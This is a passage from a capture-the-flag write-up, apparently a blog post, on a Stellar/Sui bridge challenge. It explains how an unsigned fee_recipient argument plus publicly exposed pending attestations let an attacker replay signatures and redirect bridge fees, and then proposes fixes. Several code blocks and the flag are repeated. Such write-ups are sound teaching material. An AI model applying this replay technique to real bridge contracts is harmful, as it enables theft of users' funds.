    let mut msg = Bytes::new(&env);
    msg.append(&addr_bytes);
    msg.append(&Bytes::from_slice(&env, &amount.to_le_bytes()));
    msg.append(&message_id);

    env.crypto().ed25519_verify(&pubkey, &msg, &attestation);
    ...
    let fee_amount = bridge_fee(amount);
    let recipient_amount = amount - fee_amount;
    ...
    if fee_amount > 0 {
        token.transfer(&env.current_contract_address(), &fee_recipient, &fee_amount);
    }
pub fn complete_from_sui(
    env: Env,
    recipient: Address,
    amount: i128,
    message_id: Bytes,
    attestation: BytesN<64>,
    fee_recipient: Address,
) -> Result<(), BridgeError> {
    ...
    let addr_bytes = recipient.to_string().to_bytes();
    let mut msg = Bytes::new(&env);
    msg.append(&addr_bytes);
    msg.append(&Bytes::from_slice(&env, &amount.to_le_bytes()));
    msg.append(&message_id);

    env.crypto().ed25519_verify(&pubkey, &msg, &attestation);
    ...
    let fee_amount = bridge_fee(amount);
    let recipient_amount = amount - fee_amount;
    ...
    if fee_amount > 0 {
        token.transfer(&env.current_contract_address(), &fee_recipient, &fee_amount);
    }

fee_recipient is a function argument, not part of the signed message, and bridge_fee skims amount / 8 off the top and sends it wherever fee_recipient points. Any valid (recipient, amount, message_id, attestation) tuple can be resubmitted with a fee_recipient of my choosing, and the contract will happily pay the fee out to me instead of the relayer.

The instancer also exposes exactly the tuples I’d need, before they’re even confirmed on-chain:

@app.route("/stellar/<string:uuid>/pending_transactions", methods=["GET"])
@cross_origin()
def stellar_pending_transactions_by_path(uuid: str) -> tuple[dict[str, Any], int] | dict[str, Any]:
    return stellar_pending_transactions(uuid)
@app.route("/stellar/<string:uuid>/pending_transactions", methods=["GET"])
@cross_origin()
def stellar_pending_transactions_by_path(uuid: str) -> tuple[dict[str, Any], int] | dict[str, Any]:
    return stellar_pending_transactions(uuid)
@app.route("/stellar/<string:uuid>/pending_transactions", methods=["GET"])
@cross_origin()
def stellar_pending_transactions_by_path(uuid: str) -> tuple[dict[str, Any], int] | dict[str, Any]:
    return stellar_pending_transactions(uuid)

backed by:

def _publish_pending_stellar_tx(self, pending_id, recipient, amount, message_id, attestation) -> None:
    data = {
        ...
        "recipient": recipient,
        "amount": amount,
        "message_id": message_id,
        "attestation": attestation.hex(),
        "fee_recipient": self._stellar_fee_recipient(),
        "status": "pending",
        ...
    }
    write_pending_stellar_tx(self.config.stellar_uuid, pending_id, data)
def _publish_pending_stellar_tx(self, pending_id, recipient, amount, message_id, attestation) -> None:
    data = {
        ...
        "recipient": recipient,
        "amount": amount,
        "message_id": message_id,
        "attestation": attestation.hex(),
        "fee_recipient": self._stellar_fee_recipient(),
        "status": "pending",
        ...
    }
    write_pending_stellar_tx(self.config.stellar_uuid, pending_id, data)
def _publish_pending_stellar_tx(self, pending_id, recipient, amount, message_id, attestation) -> None:
    data = {
        ...
        "recipient": recipient,
        "amount": amount,
        "message_id": message_id,
        "attestation": attestation.hex(),
        "fee_recipient": self._stellar_fee_recipient(),
        "status": "pending",
        ...
    }
    write_pending_stellar_tx(self.config.stellar_uuid, pending_id, data)

So a pending completion — recipient, amount, message ID, and a valid signature — sits readable through /stellar/<uuid>/pending_transactions before it’s submitted. Grab one, resubmit complete_from_sui yourself with fee_recipient pointed at your own address, and you’ve redirected amount / 8 in bridge fees. It’s a real, exploitable bug. It just moves the player’s balance up by single-digit amounts per attestation, which makes it far too slow to reach 250 on its own — the instancer trust bug above gets there in one HTTP call.

Root cause & fix

Two separate bugs, two separate fixes.

The instancer trust bug (the actual fast solve):

  • Remove the custom bridge path from the public /new endpoint entirely. There’s no legitimate reason for a player to hand the server its own bridge coordinates.

  • Only ever write bridge metadata that came out of the server’s own deploy_bridge_system flow, never from request bodies.

  • In /flag, cross-check the bridge contract ID against the one the instancer itself deployed for that instance — a stored, server-generated value, not a replayed client-supplied one.

The fee_recipient signature gap:

  • Include fee_recipient in the signed attestation payload, so a resubmission with a different fee recipient invalidates the signature.

  • Don’t expose pending, attested-but-unconfirmed transactions over an unauthenticated HTTP route — anything with a valid signature attached is a bearer instrument until it’s bound to more than three fields.

Flag

SEKAI{super-duper-stellar-master-3a9bb1}
SEKAI{super-duper-stellar-master-3a9bb1}
SEKAI{super-duper-stellar-master-3a9bb1}

Index

Challenges

01

PP Farming

02

PP Farming 2

03

Open World

04

Outer Stellar

Social Icon
Social Icon
Social Icon
Social Icon
Social Icon
Social Icon
Social Icon
Social Icon
Social Icon
Social Icon
Social Icon
Social Icon

Create a free website with Framer, the website builder loved by startups, designers and agencies.